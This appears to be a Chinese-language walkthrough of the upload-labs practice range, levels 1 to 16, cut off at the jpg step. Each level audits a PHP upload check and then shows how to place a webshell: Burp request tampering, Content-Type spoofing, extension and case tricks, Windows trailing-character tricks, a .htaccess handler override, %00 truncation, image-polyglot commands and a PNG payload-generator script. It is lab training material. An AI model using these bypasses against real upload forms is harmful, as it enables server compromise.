uploadlabs通關思路

目錄

靶場準備

復現

pass-01

代碼審計

執行邏輯

文件上傳

方法一:直接修改或刪除js腳本

方法二:修改文件后綴

pass-02

代碼審計

文件上傳

1. 思路

2. 實操

pass-03

代碼審計

過程:

文件上傳

pass-04

代碼審計

文件上傳

pass-05

代碼審計

pass-06

代碼審計

文件上傳

pass-07

代碼審計

pass-08

代碼審計

pass-09

代碼審計

pass-10

代碼審計

文件上傳

pass-11

代碼審計

文件上傳

pass-12

代碼審計

文件上傳

pass-13

代碼審計

文件上傳

pass-14

代碼審計

pass-15

代碼審計

pass-16

代碼審計

文件上傳

gif

png

jpg

pass-17

代碼審計

文件上傳

1. 準備php文件

2. 上傳

pass-18

代碼審計

文件上傳

1. 準備圖片碼

2. Burp抓包

3. 在文件夾里查看

pass-19

代碼審計

文件上傳

1. 大小寫

2. 添加后綴

pass-20

代碼審計

文件上傳

1. 上傳

2. 抓包改包

3. 驗證


靶場準備

  1. 安裝phpstudy

  2. 下載靶場:https://github.com/c0ny1/upload-labs

  3. 靶場解壓至phpstudy下的www目錄

  4. 打開phpstudy,啟動apache,版本不要太高

  5. 運行靶場的phpstudy.exe文件,顯示成功,就在瀏覽器訪問靶場

復現

pass-01

代碼審計

?function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("請選擇要上傳的文件!");return false;}//定義允許上傳的文件類型var allow_ext = ".jpg|.png|.gif";//提取上傳文件的類型var ext_name = file.substring(file.lastIndexOf("."));//判斷上傳文件類型是否允許上傳if (allow_ext.indexOf(ext_name + "|") == -1) {var errMsg = "該文件不允許上傳,請上傳" + allow_ext + "類型的文件,當前文件類型為:" + ext_name;alert(errMsg);return false;}}
執行邏輯
  1. temp_file記錄上傳文件的臨時名稱

  2. img_path是為上傳文件構造的新路徑

  3. move_uploaded_file函數把文件移動到img_path

  4. 通過file.substring(file.lastIndexOf("."));獲取文件的后綴

  5. 和白名單的3種文件類型對比,判斷是否屬于其中的3類。屬于則可以直接上傳,否則就上傳失敗

文件上傳

方法一:直接修改或刪除js腳本
  1. 打開BurpSuit,開啟抓包

  2. 先上傳一個符合要求的圖片

  3. 選中包,右鍵,選擇Do intercept --> Response to this request,之后放包

  4. 之后立馬就可以抓到另一個包,打開就可以看到響應部分,如下圖

  1. 之后,修改.jpg|.png|.gif的當中的任何一個為.php,然后保存放包

  2. 然后進到靶場,上傳準備好的webshell,此時webshell是可以成功上傳的,可以打開uploasd文件夾看一下

  1. 訪問一下上傳的文件試一下

  1. 螞劍再驗證一下

都沒有問題

方法二:修改文件后綴
  1. 把編碼好的webshell的后綴修改為符合條件的后綴

  2. 打開Burp抓包

  3. 在靶場上傳

  4. 打開抓到的數據包,傳給Repeter模塊,然后把文件的后綴恢復,點擊send就可以了

跟方法一差不多,這里就不做演示了,如果把方法一實踐一遍,那是完全可以實現方法二的。

pass-02

代碼審計

<?phpinclude '../config.php';include '../head.php';include '../menu.php';?$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']; ? ? ? ? ?if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上傳出錯!';}} else {$msg = '文件類型不正確,請重新上傳!';}} else {$msg = UPLOAD_PATH.'文件夾不存在,請手工創建!';}}?>?<div id="upload_panel"><ol><li><h3>任務</h3><p>上傳一個<code>webshell</code>到服務器。</p></li><li><h3>上傳區</h3><form enctype="multipart/form-data" method="post" onsubmit="return checkFile()"><p>請選擇要上傳的圖片:<p><input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="上傳"/></form><div id="msg"><?php if($msg != null){echo "提示:".$msg;}?></div><div id="img"><?phpif($is_upload){echo '<img src="'.$img_path.'" width="250px" />';}?></div></li><?php if($_GET['action'] == "show_code"){include 'show_code.php';}?></ol></div>?<?phpinclude '../footer.php';?>

其他地方就不分析了,主要看這里enctype="multipart/form-data"

這個設置表明Content-Type這個鍵的值是multipart/form-data,而這個值的一大特點如下

  • 將請求體分成多個部分(parts),每個部分可以包含不同的數據(如表單字段、文件內容等)。

  • 每個部分都有自己的 Content-TypeContent-Disposition 頭部,允許客戶端指定文件的類型和名稱。

然后某些服務器可能只檢查請求頭中的 Content-Type,而沒有深入解析 multipart/form-data 的每個部分。

例如,服務器可能只檢查請求頭中的 Content-Type: multipart/form-data,而忽略每個部分的 Content-Type

利用這個邏輯漏洞,偽造文件類型

  • multipart/form-data 的某個部分中偽造 Content-Type,將 PHP 文件的 Content-Type 設置為 image/jpeg,從而繞過服務器的文件類型檢查。

文件上傳

1. 思路

直接在靶場上傳一個php文件,然后使用Burp抓包,把數據包發到Repeter模塊,然后修改Content-Type的類型為image/ipeg(代碼審計得到的結果,自行審計),Send之后就可以訪問文件或者使用蟻劍測試是否成功了

2. 實操
  1. 上傳php文件

  2. 抓包并改包

  1. 蟻劍連接測試

連接成功。

pass-03

這一關弄了一個黑名單,黑名單里面的后綴文件不允許上傳,其實跟前兩關沒啥區別。而且很簡單。

代碼審計

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//刪除文件名末尾的點$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //轉換為小寫$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空?if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; ? ? ? ? ? ?if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上傳出錯!';}} else {$msg = '不允許上傳.asp,.aspx,.php,.jsp后綴文件!';}} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';}}

過程:

  1. 先判斷文件是否存在,若存在,則獲取其文件名稱

  2. 通過trim函數去除其文件名稱多余的空白字符或者轉義字符

  3. 然后通過其自定義的deldot函數刪除其文件末尾的

  4. 再通過strrchr函數獲取從文件名中最后一個.符號開始的后面所有字符串(若上傳文件為xx.php即可以獲取后綴.php)

  5. 然后通過strtolower函數將后綴名全部轉換為小寫,

  6. 然后通過str_ireplace函數將后綴名中如果存在的::$DATA符號刪去。

  7. 然后使用trim函數對后綴進行去空格操作。

  8. 通過in_array函數對比其后綴是否屬于 $deny_ext中的幾項,若不屬于,則繼續上傳

文件上傳

這一關特別簡單,方法很多,比如把.php改為.php3或者怎樣的,只要不是黑名單中的其中一個就成了。

所以就可以這樣做:

  1. 直接上傳php文件

  2. 使用Burp抓包

  3. 發給Repeter模塊,修改文件后綴為.php3

  1. 訪問測試:

pass-04

代碼審計

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//刪除文件名末尾的點$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //轉換為小寫$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空?if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上傳出錯!';}} else {$msg = '此文件不允許上傳!';}} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';}}

這一關跟上一關并無太大區別,無非就是黑名單多了一些,沒關系,我們利用.htaccess文件就好。

.htaccess文件可以簡單理解為一個提前預制的命令,在文件里面寫好要運行哪個文件,以什么形式執行, 那么上傳的那個文件就會按我們提前設置好的要求執行,即使是在下級目錄也可以。

文件上傳

首先是開啟.htaccess功能。

找到phpstudy下的apache文件夾, 如

D:\Softwares\phpStudy\phpstudy_pro\Extensions\Apache2.4.39\conf

打開httpd.conf文件,把AllowOverride 設置為ALL

然后構造.htaccess文件,編寫一下內容

?<FilesMatch "info.jpg">SetHandler application/x-httpd-php</FilesMatch> 

然后先上傳./htaccess文件(.htaccess文件就叫這個名,不需要添加其他)

再上傳修改了文件后綴為.jpgphp文件,然后訪問

結果如上,成功上傳

pass-05

代碼審計

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//刪除文件名末尾的點$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空?if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上傳出錯!';}} else {$msg = '此文件類型不允許上傳!';}} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';}}

這里看著唬人,其實一個大小寫就繞過了,把.php改為.PHP就成功上傳了

沒啥技術含量就不說了,下一關

pass-06

代碼審計

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//刪除文件名末尾的點$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //轉換為小寫$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上傳出錯!';}} else {$msg = '此文件不允許上傳';}} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';}}

這一關有點意思,主要是它把.htaccess過濾掉了,也就是說不能像pass-04那樣處理了。但是卻有更好的處理辦法,這里就要引入windows下文件系統的一些特性了。在windows中,文件名屬于以下一種情況是會自動去掉末尾

  1. 文件名最后是 .

  2. 文件名最后有空格

  3. 文件名最后有::$DATA

那么,利用這個特性,就可以繞過過濾了。

文件上傳

首先打開Burp準備抓包

然后直接上傳一個.php文件

Burp里把包發給Repeter模塊,在模塊里給文件添加以上說到的后綴,然后在upload文件夾里驗證是否上傳成功

抓包修改如下:

再來看一看upload文件夾

注意,這一關的代碼里有去.和去::$DATA的函數,所以不能通過這兩個繞過。

話雖這樣說,但是我這樣:$DATA,也就繞過了嘛

pass-07

代碼審計

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //轉換為小寫$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上傳出錯!';}} else {$msg = '此文件類型不允許上傳!';}} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';}}

對比上一關的源碼就很清晰了,這一關就是要在文件末尾加.以繞過,因為連去掉.的函數都沒有了嘛

這一關的

上一關的

這就很簡單了,一樣的步驟,不演示了,下一關

pass-08

代碼審計

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//刪除文件名末尾的點$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //轉換為小寫$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上傳出錯!';}} else {$msg = '此文件類型不允許上傳!';}} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';}}

源碼里有去掉.的,有去掉空格的,所以這一關就是要使用::$DATA繞過了,對比前兩關的代碼就可以看出來了

6、7、8三關就是利用windows文件系統的特性(而且還要求是黑名單)繞過的,很簡單,在pass-06已經演示一種方法了,剩下的一樣的步驟,就不演示了。但是注意了這些方法在Linux環境下大概率饒不了。

pass-09

代碼審計

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//刪除文件名末尾的點$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //轉換為小寫$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上傳出錯!';}} else {$msg = '此文件類型不允許上傳!';}} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';}}

四個函數,deldot、strtolower、str_ireplace、trim,把大小寫、Windows文件系統特性都過濾了,怎么辦呢?

簡單啊,它不是先刪除.,然后轉小寫,然后刪::$DATA,然后去空格嗎,那加一層碼嘍。

這樣構造

?mm.php.空格.這樣會先刪除 . ,文件就變成這樣 mm.php.空格,注意這里還有空格的;然后什么轉小寫啥的就不管了,之后去空格嘛,這樣文件就變成這樣了 mm.php.;然后沒有匹配黑名單啊,所以上傳嘛,然后又是Windows文件系統特性,把最后的 . 去掉,然后就成功上傳了嘛;
? ?如下圖所示:

pass-10

代碼審計

$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");?$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name; ? ? ? ?if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上傳出錯!';}} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';}}

這個就更簡單了,利用str_ireplace函數,把匹配黑名單的文件后綴置空嘛

那還是一樣嘛。加一層碼

?mm.phphpp

它又不調用兩次str_ireplace函數,既然要過濾,那給它嘛,它把里面的php置空還有外層呢

文件上傳

先構造好文件

?mm.phphpp

然后直接上傳,再訪問驗證就好了

上傳:

驗證:

pass-11

這個題在實際應用中可能衍生一種競爭型的解法,但是需要多次嘗試,這里給出思路。

這是一個以php文件上傳的一個特性為基礎的思路。在php中,上傳的文件會先到達temp目錄下,然后使用move函數移動到上傳文件夾下,再把臨時文件刪除。在移動臨時文件和刪除臨時文件這個間隙中間有一個很短很短的窗口期,那么假設它有一個讀文件的函數,比如

?<? phpfile_get_contents($_GET['a'],'<?php'){include()}?>

它先讀,如果匹配了php后綴,那就直接die,如果不匹配,就include

那么,如果先上傳一個無關緊要的文件,在它讀的過程中再上傳我們的木馬,讓木馬正好走到file_get_contents函數下,函數在讀無關緊要文件時沒有發現問題,就會include,此時就會把我們的木馬一起include,這樣就可以上傳webshell

但是這個窗口期很短很短,所以可以預料的是即使成功了也是n次嘗試的。

這個思路是解一個國際CTF比賽的思路,很值得思考借鑒。

代碼審計

?$is_upload = false;$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;?if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上傳出錯!';}} else{$msg = "只允許上傳.jpg|.png|.gif類型文件!";}}

雖然上面給出了一種競爭型的解法,但是實際上這一題不是競爭解法。這里它使用了白名單。

它會截取文件的后綴比對白名單,符合才會允許上傳。那也許有人說了,改后綴不就好了嗎,那不就可以上傳了嗎,是的,允許上傳,但是解析不了,相當于真的把php變成jpg了,畢竟這不是前端繞過啊,前端繞過我們是上傳php,然后Burp抓包修改的,本質還是上傳.php。那怎么辦呢?

其實這一題,用戶可以控制上傳文件最終落戶的目錄,我們可以抓一個包驗證一下

既然這樣,那我們就在這里動手腳,文件的拼接不是這樣嗎

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

如果我在sava_path這里做一個截斷,把后面的內容都不要了,比如這樣

?../upload/web.php%00%00 是 URL編碼 的 \0 的十六進制,而 \0 是 C語言 的結束字符php底層也是C語言嘛

這樣截斷之后,move函數在移動的時候,本來是要移動到upload文件夾下,再重命名,但是現在沒有重命名這一步了,而且也不是放在文件夾下,而是直接放在文件里,相當于move函數直接把我們上傳的文件的內容直接放到web.php里面。這樣就上傳成功了。

來驗證一下

文件上傳

首先構造好jpg文件,

?<?php phpinfo();

然后修改后綴為jpg

打開Burp準備好抓包之后上傳jpg文件

打開看一下文件內容

pass-12

代碼審計

$is_upload = false;$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;?if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上傳失敗";}} else {$msg = "只允許上傳.jpg|.png|.gif類型文件!";}}

這一關跟pass-11一樣,就是save_path的接收方式變了,pass-11get型,這里變為了post型,我們抓一個包看一下變化就知道了

原本在1的位置,現在變到2的位置了,需要在3那里改。但是在這個位置改的話就不能使用%00,因為這里不屬于地址欄,需要使用另一種方法。

文件上傳

先這樣構造:upload/web.php空格

然后點擊HEX,找到對應位置,把20改為00

保存好,然后返回Pretty,點1,進行查看,就會發現有\0

然后Send就可以上傳成功了

pass-13

代碼審計

function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只讀2字節fclose($file);$strInfo = @unpack("C2chars", $bin); ? ?$typeCode = intval($strInfo['chars1'].$strInfo['chars2']); ? ?$fileType = ''; ? ?switch($typeCode){ ? ? ?case 255216: ? ? ? ? ? ?$fileType = 'jpg';break;case 13780: ? ? ? ? ? ?$fileType = 'png';break; ? ? ? ?case 7173: ? ? ? ? ? ?$fileType = 'gif';break;default: ? ? ? ? ? ?$fileType = 'unknown';} ? ?return $fileType;}?$is_upload = false;$msg = null;if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);?if($file_type == 'unknown'){$msg = "文件未知,上傳失敗!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上傳出錯!";}}}

審計代碼,發現這一關會對圖片內容進行檢測。也就是說,把php后綴修改為jpg之類的已經不能上傳了。但是呢它對內容的檢測又不完善,所以一種思路就是把payload插入到圖片中去。

文件上傳

這在windows環境下就需要使用以下命令了

copy 文件A全稱 /b + 文件B /a 新文件名

這樣就能得到一個包含php payloadpng文件,然后還要驗證,首先是查看圖片是否可以打開,不過不行那就換圖片再插入,一定要保證圖片可以打開。確保圖片可以打開之后,使用記事本打開,找一下插入的paylod在不在

也可以使用專業的工具010Editor查看。

這些保證沒有問題之后就可以上傳了,不過即使上傳成功了,也不一定能執行,因為有可能圖片有問題。這時候之只能換圖片不斷嘗試了

pass-14

代碼審計

function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}}?$is_upload = false;$msg = null;if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上傳失敗!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上傳出錯!";}}}

pass-13一樣,就是加了一些判斷圖片后綴和大小的代碼,對于這一關而言,沒有什么太大的作用,按照pass-13的方法,多試幾遍就能成功了

pass-15

代碼審計

?function isImage($filename){//需要開啟php_exif模塊$image_type = exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return "gif";break;case IMAGETYPE_JPEG:return "jpg";break;case IMAGETYPE_PNG:return "png";break; ? ?default:return false;break;}}?$is_upload = false;$msg = null;if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上傳失敗!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上傳出錯!";}}}

pass-13、pass-14一樣的,把phppayload插入到圖片中,然后檢查沒有問題之后就一直嘗試,直到成功為止,思路是沒有問題的,就是需要一直試,一遍不行就多來幾遍。

pass-16

代碼審計

?$is_upload = false;$msg = null;if (isset($_POST['submit'])){// 獲得上傳文件的基本信息,文件名,類型,大小,臨時文件路徑$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];?$target_path=UPLOAD_PATH.'/'.basename($filename);?// 獲得上傳文件的擴展名$fileext= substr(strrchr($filename,"."),1);?//判斷文件后綴與類型,合法才進行上傳操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上傳的圖片生成新的圖片$im = imagecreatefromjpeg($target_path);?if($im == false){$msg = "該文件不是jpg格式的圖片!";@unlink($target_path);}else{//給新圖片指定文件名srand(time());$newfilename = strval(rand()).".jpg";//顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上傳出錯!";}?}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上傳的圖片生成新的圖片$im = imagecreatefrompng($target_path);?if($im == false){$msg = "該文件不是png格式的圖片!";@unlink($target_path);}else{//給新圖片指定文件名srand(time());$newfilename = strval(rand()).".png";//顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path);?@unlink($target_path);$is_upload = true; ? ? ? ? ? ? ? }} else {$msg = "上傳出錯!";}?}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上傳的圖片生成新的圖片$im = imagecreatefromgif($target_path);if($im == false){$msg = "該文件不是gif格式的圖片!";@unlink($target_path);}else{//給新圖片指定文件名srand(time());$newfilename = strval(rand()).".gif";//顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);?@unlink($target_path);$is_upload = true;}} else {$msg = "上傳出錯!";}}else{$msg = "只允許上傳后綴為.jpg|.png|.gif的圖片文件!";}}

這一關的亮點在于使用imagecreatefromgif函數,把我們上傳的圖片打亂,然后生成新的圖片,但是人肉眼看起來沒有變化。

這樣一來,我們插入的payload就有可能被打亂,導致webshell上傳失敗。這也是防御圖片碼的一種方法,但最好的方法是沒有文件包含這個漏洞。

我們可以看一下是否屬實嘛

原來的圖片碼:

上傳后的圖片碼:

那怎么辦呢?

想一下,有沒有可能,這三種格式的圖片會有一部分區域,這個區域在整個圖片打亂前和打亂后是不變的,如果有,那我們把payload插入到這塊區域就能利用文件包含漏洞把webshell上傳成功。

文件上傳

gif

先上傳一張正常的圖片,然后下載下來,打開以一些專業的16進制查看工具,比如010editor,找到那個前后都沒有被打亂的地方,把payload插入那個位置,然后再上傳插入好payload的圖片,之后使用文件包含驗證即可

這個思路沒有問題,問題是運氣成分太大,如果你運氣好,剛好拿到的圖片問題不大,那一下就好了,如果運氣不好,那你可能試了十幾張圖片依然沒結果,但是沒辦法,就是要一直試。

png

png圖片插入payloadgif復雜一點,因為png圖片是由固定數據塊組成的,如果不能區分清楚的話很有可能導致上傳是報錯。

對與插入payload,由以下兩種方法

一、在PLTE數據塊插入

這種方法有些別扭,因為需要保證圖片是索引顏色類型,也就是說如果文件使用真彩色或灰度,可能沒有PLTE塊。所以這里只提出來,就不演示了

二、使用腳本

腳本編碼:

?<?php$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);???$img = imagecreatetruecolor(32, 32);?for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);}?imagepng($img,'./1.png');?>

這是php腳本,保存好之后,在瀏覽器運行,就能得到一插入好payloadpng圖片

然后上傳,再用蟻劍連接測試一下就好

jpg

jpg差不多,也是用腳本

腳本代碼:

